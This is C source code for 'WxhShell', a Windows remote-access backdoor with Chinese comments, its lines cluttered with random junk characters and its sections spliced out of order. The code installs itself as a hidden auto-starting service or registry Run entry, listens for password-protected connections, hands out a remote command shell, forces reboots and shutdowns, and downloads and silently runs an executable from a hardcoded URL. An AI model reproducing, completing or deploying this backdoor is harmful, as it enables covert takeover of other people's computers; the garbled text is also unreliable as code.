    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <X8Urum  
    if(Boot(SHUTDOWN)) E22o-nI?1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }3*<sxw7<  
    else { -N' (2'  
    closesocket(wsh); jW:7PS  
    ExitThread(0); [7@blU  
    } /]U$OP*0  
    break; ,l>w9?0Z  
    } ]KFh 1  
  // 获取shell m^ xTV-#l@  
  case 's': { e)e(f"t6Q  
    CmdShell(wsh); qR@ES J_  
    closesocket(wsh); Lvf<g}?4  
    ExitThread(0); Z[@ i/. I  
    break; t utk*|S  
  } !`{?qQ[=  
  // 退出 XVs]Y'* x  
  case 'x': { tb&?BCp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9 /H~hEVK  
    CloseIt(wsh); s-CAo~,  
    break; iWt%Boyi  
    } [(n5-#1S  
  // 离开 vU>^  
  case 'q': { 0fqcPi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q'jOI_b  
    closesocket(wsh); ei= 4u'  
    WSACleanup(); j3sz"(  
    exit(1); (pELd(*Ga  
    break; ,buX|  
        } gT8(LDJ  
  } )q<VZ|V  
  } WM+8<|)n  
^2'Y=g>  
  // 提示信息 Y][12{I{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LW<Lg N"L-  
} V6merT79  
  } I$"Z\c8;  
.F ?ww}2p]  
  return; /gu VA  
} "(mJupI  
I "x'  
// shell模块句柄 *8)?ZZMM  
int CmdShell(SOCKET sock) F+*E}QpM  
{ 6[t<g=  
STARTUPINFO si; ~ikp'5  
ZeroMemory(&si,sizeof(si)); ?6 2zv[#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8O^x~[sQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >M5}L<  
PROCESS_INFORMATION ProcessInfo; f,O10`4s  
char cmdline[]="cmd"; J^"_H:1[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *9n[ #2sM<  
  return 0; IgbuMEfL  
} 'fn}I0Vc  
t]&.'n,  
// 自身启动模式 j)@W1I]2#  
int StartFromService(void) Ny"9!3V   
{ l4RqQ+[KA;  
typedef struct 'pA%lc)  
{ P"7` :a  
  DWORD ExitStatus; x)?V{YAL  
  DWORD PebBaseAddress; n~0wq(8M  
  DWORD AffinityMask; />xEpR3_A  
  DWORD BasePriority; o*$KiD  
  ULONG UniqueProcessId; V_ 6K?~j  
  ULONG InheritedFromUniqueProcessId; 1XN%&VR>^D  
}   PROCESS_BASIC_INFORMATION; O+-+=W  
fS}Eu4Xe  
PROCNTQSIP NtQueryInformationProcess; ](oeMl18R  
tM5(&cQ!d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z 4}"oQk:r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *$7^.eHfdd  
%ZRv+}z  
  HANDLE             hProcess; Z*Ffdh>*:&  
  PROCESS_BASIC_INFORMATION pbi; Hl$qmq  
Q^{TcL8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g(P7CX+y  
  if(NULL == hInst ) return 0; 1 k!gR  
9?Bh8%$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hEjvtfM9\-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "0!#De  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vT5GUO{5  
b$2=w^*  
  if (!NtQueryInformationProcess) return 0; 3~`\FuHHe  
3+>R%TX6i<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M0m%S:2  
  if(!hProcess) return 0; A]"6/Lr9P  
,GWa3.&.d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v_5O*F7)  
9ZOQNN<ex  
  CloseHandle(hProcess); _ (b4|hJ'  
Wda?$3!^q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -AnJLFY  
if(hProcess==NULL) return 0; ~%\vX  
;R >>,&g  
HMODULE hMod; tLJ 7tnB  
char procName[255]; M]V j  
unsigned long cbNeeded; @{V`g8P>  
4=q4_ \_T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ->|eMV'd  
=0e>'Iw2  
  CloseHandle(hProcess); fe4/[S{a   
]UO zz1   
if(strstr(procName,"services")) return 1; // 以服务启动 fCa lR7!  
wOUCe#P|r  
  return 0; // 注册表启动 '!X`X=  
} :TrP3wV _  
'\H & EJ'  
// 主模块 >a@1y8B  
int StartWxhshell(LPSTR lpCmdLine) uYTyR;a  
{ =2Ju)!%wr  
  SOCKET wsl; -X EK[  
BOOL val=TRUE; 34k(:]56|  
  int port=0; :qXREF@h  
  struct sockaddr_in door; H|s Iw:  
W*H%\Y:N  
  if(wscfg.ws_autoins) Install(); 6jr}l  
O0^Y1l  
port=atoi(lpCmdLine); 5UL5C:3R9  
`iuQ.I  
if(port<=0) port=wscfg.ws_port; 3 } $9./+  
M|{KQ3q:9  
  WSADATA data; TbMlYf]It  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +SV!QMIg  
:^7_E&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    K0*er  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E#w2'(t  
  door.sin_family = AF_INET; I2{zy|&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .O5|d+S  
  door.sin_port = htons(port); #;2mP6a[  
:@~3wD[y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _uh@fRyh  
closesocket(wsl); @zR_[s  
return 1; };(2 na  
} 1%.CtTi  
~O;?;@  
  if(listen(wsl,2) == INVALID_SOCKET) { %|}7YH41  
closesocket(wsl); l5e`m^GK  
return 1; IxG0TJ_  
} Qe[ai?iJkt  
  Wxhshell(wsl); k:s86q  
  WSACleanup(); -% B)+yq>  
k<*1mS8  
return 0; ,J*#Ixe}  
<Dnv=)Rq  
} #z}IW(u<  
c_?!V  
// 以NT服务方式启动 S r7EcT-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (>D{"}  
{ IOUzj{G#  
DWORD   status = 0; K!jau|FS  
  DWORD   specificError = 0xfffffff; '\7&Iz:%  
A- hWg;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ELV$!f|u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %]DJ-7 xE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nRZ T~S4  
  serviceStatus.dwWin32ExitCode     = 0; #5kg3OO  
  serviceStatus.dwServiceSpecificExitCode = 0; cRPy5['E  
  serviceStatus.dwCheckPoint       = 0; \4q1<j  
  serviceStatus.dwWaitHint       = 0; 3Z)vJC9'  
fl9J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0.Nik^~  
  if (hServiceStatusHandle==0) return; Se5jxV  
z2V_nkI  
status = GetLastError(); o2(*5*b!@e  
  if (status!=NO_ERROR) gJn_8\,C>Q  
{ Y'LIk Q\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !U+XIr  
    serviceStatus.dwCheckPoint       = 0; 0j~C6 vp  
    serviceStatus.dwWaitHint       = 0; oY%NDTVN  
    serviceStatus.dwWin32ExitCode     = status; R75np^  
    serviceStatus.dwServiceSpecificExitCode = specificError; cbA90 8@s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oxm3R8 S  
    return; 4THGHS^  
  } au1(.(  
^RS`q+g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Zz04Pz1  
  serviceStatus.dwCheckPoint       = 0; Hq$?-%4  
  serviceStatus.dwWaitHint       = 0; ('p~h-9Vi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ik|nL#JH]  
} '%9e8C|  
NvfQa6?;  
// 处理NT服务事件,比如:启动、停止 Go_~8w0<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fL&bN[XA"$  
{ 6jtnH'E/  
switch(fdwControl) o;@T6-VH  
{ P\CT|K'P  
case SERVICE_CONTROL_STOP: 4jl-?  
  serviceStatus.dwWin32ExitCode = 0; c`&<"Us  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3"hPplE  
  serviceStatus.dwCheckPoint   = 0; =sW(2Im  
  serviceStatus.dwWaitHint     = 0; oUBn:Ir@  
  { ceR zHq=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5)GO  
  } h~ =UFE%'  
  return; w+~s}ta2^  
case SERVICE_CONTROL_PAUSE: .pOTIRbA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hIPU%  
  break; auTApYS53  
case SERVICE_CONTROL_CONTINUE: X)|b_3Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &pD6Qq{  
  break; #yk m  
case SERVICE_CONTROL_INTERROGATE: \]W*0t>s  
  break; C<\|4ERp  
}; -Ug  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =:zmF]j9  
} vo[Zuv?<h  
^MGgFS]G  
// 标准应用程序主函数 qqSf17sW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~% QVjzMC  
{ RAQi&?Ko  
C0X_t  
// 获取操作系统版本 _kb $S  
OsIsNt=GetOsVer(); A-&C.g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~ b ;%J:  
g,!6, v@  
  // 从命令行安装 VSCOuNSc  
  if(strpbrk(lpCmdLine,"iI")) Install(); nTweQ  
#s)Wzv%OX  
  // 下载执行文件 FaC;vuSpy  
if(wscfg.ws_downexe) { M3350  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gD0 FRKn  
  WinExec(wscfg.ws_filenam,SW_HIDE); x-km)2x=W  
} ;aip1Df  
k ckWBL  
if(!OsIsNt) { ~ FW@  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?1Lzbou  
HideProc(); AAE8j.  
StartWxhshell(lpCmdLine); Tt.wY=,K  
} ?A /+DRQ(  
else wG4=[d  
  if(StartFromService()) QcGyuS.B  
  // 以服务方式启动 1;R1Fj&  
  StartServiceCtrlDispatcher(DispatchTable); V6Y:l9  
else |~Hlv^6H  
  // 普通方式启动 w^?uBeqR  
  StartWxhshell(lpCmdLine); T<"Hh.h  
C{<qc,!4  
return 0; s('<ms  
} cWSiJr):r  
]VY}VALZ  
: uglv6  
Rdd[b?  
=========================================== y-gSal  
:yo tpa  
V^WR(Q}  
TpLlbsd  
-9)<[>:  
F'DO46  
" AXhV#nZt0  
 g-MaP  
#include <stdio.h> < ) L'h  
#include <string.h> gN|[n.W4  
#include <windows.h> A"8` 5qa  
#include <winsock2.h> ,c#=qb8""  
#include <winsvc.h> 8*;88vW"2  
#include <urlmon.h> sG`:mc~0   
JW;DA E<  
#pragma comment (lib, "Ws2_32.lib") ,lLkAd?q  
#pragma comment (lib, "urlmon.lib") 8r7~ >p~  
h\ema|  
#define MAX_USER   100 // 最大客户端连接数 5"=qVmT)  
#define BUF_SOCK   200 // sock buffer Z> jk\[  
#define KEY_BUFF   255 // 输入 buffer y-qbK0=X4  
!fXwX3B  
#define REBOOT     0   // 重启 *P,dR]-m  
#define SHUTDOWN   1   // 关机 pZx'%-\-T  
$bRakF1'S  
#define DEF_PORT   5000 // 监听端口 )'BuRN8  
w~A{]s{ 4  
#define REG_LEN     16   // 注册表键长度 dHV3d'.P  
#define SVC_LEN     80   // NT服务名长度 &R:$h*Wt|  
:<l(l\MC  
// 从dll定义API ]p/f@j?LU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (5y+g?9d;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -NW7ncB|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sdl1k+u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  -z9-f\  
4hb<EH'_&  
// wxhshell配置信息 X(nbfh?n  
struct WSCFG { I;]Q}SUsm  
  int ws_port;         // 监听端口 S3rN]!B+  
  char ws_passstr[REG_LEN]; // 口令 <RfPd+</  
  int ws_autoins;       // 安装标记, 1=yes 0=no  ~{7/v  
  char ws_regname[REG_LEN]; // 注册表键名 kZXsL  
  char ws_svcname[REG_LEN]; // 服务名 s*<\ mwB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8C1 'g7A<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RM8p[lfX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j3`# v3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Gj^JpG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `,XCD-R^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]3Z?Q  
##~";j  
}; Fdsaf[3[v  
 'k[O?}  
// default Wxhshell configuration spIkXEK  
struct WSCFG wscfg={DEF_PORT, GMqeC  
    "xuhuanlingzhe", @C]]VE  
    1, 1oq5|2p  
    "Wxhshell", Gzxq] Mg  
    "Wxhshell", jU\vg;nr  
            "WxhShell Service", ?;Ck]l#5ys  
    "Wrsky Windows CmdShell Service", Gq_rZo(@  
    "Please Input Your Password: ", \8v{9Yb  
  1, 0J-]  
  "http://www.wrsky.com/wxhshell.exe", %$K2$dq5  
  "Wxhshell.exe" (\^| @  
    }; Ve,h]/G  
acd8?>%[  
// 消息定义模块 /[Oo*}Dc=F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "iFA&$\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jiS|ara"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Vsh7>|@  
char *msg_ws_ext="\n\rExit."; s ~'><ioh  
char *msg_ws_end="\n\rQuit."; H'N$Vv2q  
char *msg_ws_boot="\n\rReboot..."; CG!/Lbd  
char *msg_ws_poff="\n\rShutdown..."; Q>qx? g  
char *msg_ws_down="\n\rSave to "; ~ZbEKqni2  
F/c7^  
char *msg_ws_err="\n\rErr!"; l AF/O5b  
char *msg_ws_ok="\n\rOK!"; ~Q7)6%  
u2=gG.  
char ExeFile[MAX_PATH]; >iefEv\  
int nUser = 0; 1T(:bM_t`7  
HANDLE handles[MAX_USER]; Wez"E2J`  
int OsIsNt; ?M'_L']N[  
x2gnB@t  
SERVICE_STATUS       serviceStatus; W\xM$#)m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9Yih%d,  
@* a'B=7  
// 函数声明 e!cZW.B=`f  
int Install(void); 72oiO[>N'  
int Uninstall(void); OnGtIY  
int DownloadFile(char *sURL, SOCKET wsh); f( (p\ &y  
int Boot(int flag); 8SmtEV[b3  
void HideProc(void); TNY d_:j  
int GetOsVer(void); hZ_0lX}  
int Wxhshell(SOCKET wsl); ^zjQ(ca@"x  
void TalkWithClient(void *cs); 0@;kD]Z  
int CmdShell(SOCKET sock); Z Z1s}TG  
int StartFromService(void); -&87nR(eW  
int StartWxhshell(LPSTR lpCmdLine); VT.BHZ  
^<L;"jl%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1 o5DQ'~n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9y/gWE  
1]eh0H  
// 数据结构和表定义 4h:R+o ^H^  
SERVICE_TABLE_ENTRY DispatchTable[] = e~7h8?\.q  
{ {)^P_zha[9  
{wscfg.ws_svcname, NTServiceMain}, DtBIDU]  
{NULL, NULL} }q0lbwYlb  
}; f@@2@# 5B  
('1k%`R%  
// 自我安装 v/%q*6@  
int Install(void) qucw%hJr  
{ $.Fti-5  
  char svExeFile[MAX_PATH]; )3O0:]<H  
  HKEY key; YXC?q  
  strcpy(svExeFile,ExeFile); 2?; =TJo$  
^fj):n5/  
// 如果是win9x系统,修改注册表设为自启动 C^Jf&a  
if(!OsIsNt) { rTJv>Jjld  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q3.L6M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,BuN]9#  
  RegCloseKey(key); 7ky$9+~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d~[^D<5,D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *ml&}9  
  RegCloseKey(key); J7. }2  
  return 0; *h ~Y=#`8*  
    } _;*|"e@^  
  } =}@m$g  
} }hT1@I   
else { z!09vDB^  
'8g/^Y@  
// 如果是NT以上系统,安装为系统服务 :Uu Py|>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B Z:H$v  
if (schSCManager!=0) .f'iod-   
{ S30@|@fTz  
  SC_HANDLE schService = CreateService H*U\P2C!)  
  ( !X 3/2KRP7  
  schSCManager, Y~=]RCg  
  wscfg.ws_svcname, s }P-4Sg  
  wscfg.ws_svcdisp, A=X2zm>9  
  SERVICE_ALL_ACCESS, {V& 2k9*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,Mwyk1:xix  
  SERVICE_AUTO_START, 5H_%inWM  
  SERVICE_ERROR_NORMAL, 'TPRGX~&  
  svExeFile, ?L|Jc_E  
  NULL, &JoMrcEZ  
  NULL, Q ! 5P  
  NULL, h3^ &,U  
  NULL, -la~p~8  
  NULL U:]b&I  
  ); q?C)5(  
  if (schService!=0) K7&A^$`  
  { xN t  
  CloseServiceHandle(schService); tMaJ; 4  
  CloseServiceHandle(schSCManager); m,n V,}@J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fjc+{;x  
  strcat(svExeFile,wscfg.ws_svcname); \6B,\l]$t@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e=t?mDh#E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C~M~2@Iori  
  RegCloseKey(key); p9<OXeY   
  return 0; LkFXUt?  
    } "A jtNL5  
  } ;S+c<MSl  
  CloseServiceHandle(schSCManager); \~xOdqF/  
} {aq\sf;i{  
} G+ =6]0HT  
5*1wQlL  
return 1; ?V_Qa0k  
} "m]"%MU7 8  
WG 9f>kE  
// 自我卸载 to Ei4u)m  
int Uninstall(void) (^g?/i1@d  
{ _t:cDXj  
  HKEY key; o"^}2^)_SR  
qQR> z  
if(!OsIsNt) { ;% *e}w0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8|[\Tp:;  
  RegDeleteValue(key,wscfg.ws_regname); 78tWzO  
  RegCloseKey(key); `4s5yNUi=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MBCA%3z08  
  RegDeleteValue(key,wscfg.ws_regname); mQ#@"9l%  
  RegCloseKey(key); 3nBbPP_  
  return 0; ww"ihUX  
  } *qg9~/  
} /qF7^9LtaY  
} O?@1</r^  
else { ( 5 d ~0  
lwLK#_5u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R~b9)  
if (schSCManager!=0) B$7m@|p!  
{ bxP>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @1P1n8mH]  
  if (schService!=0) s<qSelj  
  { : o$ R@l  
  if(DeleteService(schService)!=0) { @u/<^j3Q  
  CloseServiceHandle(schService); uqZLlP#&#  
  CloseServiceHandle(schSCManager); bl\44VK2'  
  return 0; xtjTU;T  
  } 9Q :IgY?T  
  CloseServiceHandle(schService); o]#Q6J  
  } !mL,Ue3/  
  CloseServiceHandle(schSCManager); ac.O#6&  
} \E.t=XBn  
} e%G- +6  
~0?p @8  
return 1; S$]:3  
} L4sN)EI  
BmrP]3W?  
// 从指定url下载文件 }Iub{30mp  
int DownloadFile(char *sURL, SOCKET wsh) 8BNsh[+  
{ ^Gv<Xl  
  HRESULT hr; sVkR7 ^KsG  
char seps[]= "/"; XrC{{K  
char *token; {R8Q`2R  
char *file; Wnl8XHPn  
char myURL[MAX_PATH]; GMU<$x8o  
char myFILE[MAX_PATH]; *cp|lW!ag  
#2DH_P  
strcpy(myURL,sURL); z/fRd6|[  
  token=strtok(myURL,seps); @.*[CC;&  
  while(token!=NULL) ~<, \=;b/  
  { vFb{(gIJ  
    file=token; [CPZj*|b  
  token=strtok(NULL,seps); fokT)nf~^8  
  } |k&.1NkZ  
-7ct+3"J  
GetCurrentDirectory(MAX_PATH,myFILE); /_,~dt  
strcat(myFILE, "\\"); j %TYyL-  
strcat(myFILE, file); q22cp&gmX  
  send(wsh,myFILE,strlen(myFILE),0); 5?;'26iC  
send(wsh,"...",3,0); +nuv?QB/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6WfyP@ f  
  if(hr==S_OK) dGIu0\J\$  
return 0; <zZAVGb4I  
else [tMf KO  
return 1; + y.IDn^  
,_rarU)[J  
} =La}^  
9b]U&A$  
// 系统电源模块 eiEZtu  
int Boot(int flag) F:pXdU-xf  
{ _$ixE~w-!  
  HANDLE hToken; T|.Q81.NE  
  TOKEN_PRIVILEGES tkp; !u6~#.7  
?RpT_u  
  if(OsIsNt) { #C+Gk4"w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A</[Q>8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c;U\nC<Y  
    tkp.PrivilegeCount = 1; *~!xeL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +ZRsa`'^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MP}H 5  
if(flag==REBOOT) { pDkT_6Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5.?O PK6  
  return 0; !a~x |pjJ  
} 4 >&%-BhN  
else { Qlb@Az  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *|t]6!aVLS  
  return 0; 6S6nE%.3  
} t C6c4j  
  } FG#j0#|*  
  else { c+a f=ac  
if(flag==REBOOT) { f{AgKW9"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,dVCbAS@  
  return 0; tB_V%qH  
} hsqUiB tc6  
else { W$'pUhq\H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C9=f=sGL  
  return 0; J$e.$ah;  
} K,IOD t  
} N7oMtlvL[w  
J~_p2TZJ\3  
return 1; J.<eX=<  
} p1?}"bHk  
3~cOQ%#]4  
// win9x进程隐藏模块 A^K,[8VX  
void HideProc(void) M%B[>pONb7  
{ l m  
e-e{-pB6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5)nv  
  if ( hKernel != NULL ) }qKeX4\-  
  { Q|ik\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UkqLLzL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2#(7,o}Y5  
    FreeLibrary(hKernel); B8_l+dXO  
  } ;~1r{kXxA"  
WHNb.>  
return; .vW~(ZuD  
} q#p)E=$  
5z]dA~;*2  
// 获取操作系统版本 'nT#3/rL  
int GetOsVer(void) o[v`Am?v  
{ . \d0lJSr  
  OSVERSIONINFO winfo; |iwTzlt*#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g$ 2M|Q  
  GetVersionEx(&winfo); .R gfP'M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J:(Shd'4D  
  return 1; 8^R>y  
  else 8m1zL[.8g  
  return 0; z=K5~nU  
} i*^K)SI8  
6pLwwZD  
// 客户端句柄模块 :mJM=FeJ  
int Wxhshell(SOCKET wsl) $U8ap4EXM  
{ j2P|cBXu  
  SOCKET wsh; +%<Jr<~W  
  struct sockaddr_in client; ;9I#>u  
  DWORD myID; v PGuEfz  
J<BdIKCma  
  while(nUser<MAX_USER) \ yOZ&qU  
{ 4O`h%`M  
  int nSize=sizeof(client); mCE})S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hug{9Hr3.  
  if(wsh==INVALID_SOCKET) return 1; Tb)x8-0  
e{} o:r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b?Jm)  
if(handles[nUser]==0) (mD]}{>  
  closesocket(wsh); SW; b E  
else ]rNfr-  
  nUser++; A;|DQR()  
  } uLCU3nI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'pe0Q-  
Za f)  
  return 0; <+b:  
} # _7c>gn  
%nCUct@c  
// 关闭 socket ?hmb"^vlG  
void CloseIt(SOCKET wsh) 62 _$O"  
{ i4pJIb  
closesocket(wsh); 0K2[E^.WN  
nUser--; dXDD/8E  
ExitThread(0); t<k8.9 M$  
} |{ [i M  
BdKtpje  
// 客户端请求句柄 FO5SXwx  
void TalkWithClient(void *cs) 5`uS<[vA  
{ i3"sAr P"|  
"_K 6=  
  SOCKET wsh=(SOCKET)cs; /iN\)y#u1  
  char pwd[SVC_LEN]; sXa8(xc  
  char cmd[KEY_BUFF]; 64vSJx>u  
char chr[1]; yT n@p(J  
int i,j; b910Z?B^L  
bpx=&74,6m  
  while (nUser < MAX_USER) { KCT8Q!\  
G;m"ao"2  
if(wscfg.ws_passstr) { <^\r9Qxl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \nHlI=!P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :A'!u r=\  
  //ZeroMemory(pwd,KEY_BUFF); <S}qcjG  
      i=0; d0=nAZZ  
  while(i<SVC_LEN) { o{he) r6)_  
VM,ZEt3Vy  
  // 设置超时 Za6oYM_z  
  fd_set FdRead; uqUo4z5T  
  struct timeval TimeOut; Z:v1?v  
  FD_ZERO(&FdRead); _UBI,Dg]  
  FD_SET(wsh,&FdRead); '=H^m D+gl  
  TimeOut.tv_sec=8; qck/b  
  TimeOut.tv_usec=0; [5VUcXGt*\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1IV 0a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f UIs(}US  
KR}0(,Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'O`3FI  
  pwd=chr[0]; 7&3URglsL"  
  if(chr[0]==0xd || chr[0]==0xa) { "(N HA+s/  
  pwd=0; @5y(>>C}8%  
  break; l0&8vhw8k  
  } 8joQPHkI\  
  i++; )ziQ=k6d6  
    } .vv*bx   
8j'*IRj*q  
  // 如果是非法用户,关闭 socket 752wK|o0|;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vdm?d/0(^  
} ]~^/w}(K  
8UIL_nPO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =5ih,>>g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4I-p/&Q  
//Gvk|O1  
while(1) { Oi0;.< kX  
_@N)]!\MgP  
  ZeroMemory(cmd,KEY_BUFF); dM UDLr-  
`X='g96C1  
      // 自动支持客户端 telnet标准   tD]&et  
  j=0; 32iI :u  
  while(j<KEY_BUFF) { JF*g!sV%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >, E$bm2  
  cmd[j]=chr[0]; HD{`w1vcN  
  if(chr[0]==0xa || chr[0]==0xd) { ,}tdfkZFYl  
  cmd[j]=0; 'j_H{kQy  
  break; 6^|6V  
  } :\U3bkv+  
  j++; a<wZv-\Vau  
    } D5pF:~tQ(j  
U!/nD~A  
  // 下载文件 b8.%?_?  
  if(strstr(cmd,"http://")) { YfwJBz D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0s|LK  
  if(DownloadFile(cmd,wsh)) -;\+uV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QYgN39gp  
  else mi<D bnou  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5j,qAay9  
